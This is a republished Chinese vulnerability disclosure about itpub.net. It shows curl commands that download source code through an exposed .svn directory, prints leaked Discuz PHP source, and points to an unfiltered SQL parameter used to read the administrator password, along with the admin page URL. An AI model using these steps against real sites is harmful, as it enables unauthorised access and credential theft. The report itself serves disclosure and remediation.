来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 服务器设置不当,导致该网站源码可以被下载详细说明:网站使用svn管理版本,却未对.svn目录未加访问权限限制,漏洞证明:xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/entries可以得到...
服务器设置不当,导致该网站源码可以被下载
详细说明: 网站使用svn管理版本,却未对.svn目录未加访问权限限制, 漏洞证明: xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/entries 可以得到web根目录文件目录列表,根据那个列表,可以请求svn working copy的text-base 写一个简单的脚本就能遍历下载该站svn仓库中的全部源码。可以从源码进一步分析出更多安全漏洞 xxx@xxx /www/itpub.net $ curl http://www.itpub.net/.svn/text-base/member.php.svn-base <?php /** * [Discuz!] (C)2001-2099 Comsenz Inc. * This is NOT a freeware, use is subject to license terms * * $Id: member.php 20112 2011-02-15 07:10:53Z monkey $ */ define('APPTYPEID', 0); define('CURSCRIPT', 'member'); require './source/class/class_core.php'; $discuz = & discuz_core::instance(); $modarray = array('activate', 'clearcookies', 'emailverify', 'getpasswd', 'groupexpiry', 'logging', 'lostpasswd', 'register', 'regverify', 'switchstatus', 'connect'); $mod = !in_array($discuz->var['mod'], $modarray) ? 'register' : $discuz->var['mod']; define('CURMODULE', $mod); www.2cto.com $discuz->init(); if($mod == 'register' && $discuz->var['mod'] != $_G['setting']['regname'] && !defined('IN_CONNECT')) { showmessage('undefined_action'); } require libfile('function/member'); require libfile('class/member'); runhooks(); require DISCUZ_ROOT.'./source/module/member/member_'.$mod.'.php'; ?> 修复方案: .svn目录加访问权限限制,你懂得。 通过之前下载的itpub源码,轻松找到tree应用的注入漏洞。 69 else{ 70 $tmp1=$db->query_first("select * from pre_plugin_tree_node where level=1 and nodeid=".$_REQUEST['node']." order by ordernum desc"); 71 发现node参数没被过滤,读出管理员密码 管理地址: 用发现的管理员密码可以登录http://www.itpub.net/tree/editlist.php 编辑节点内容 修复方案: 你懂得 作者 小雨 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com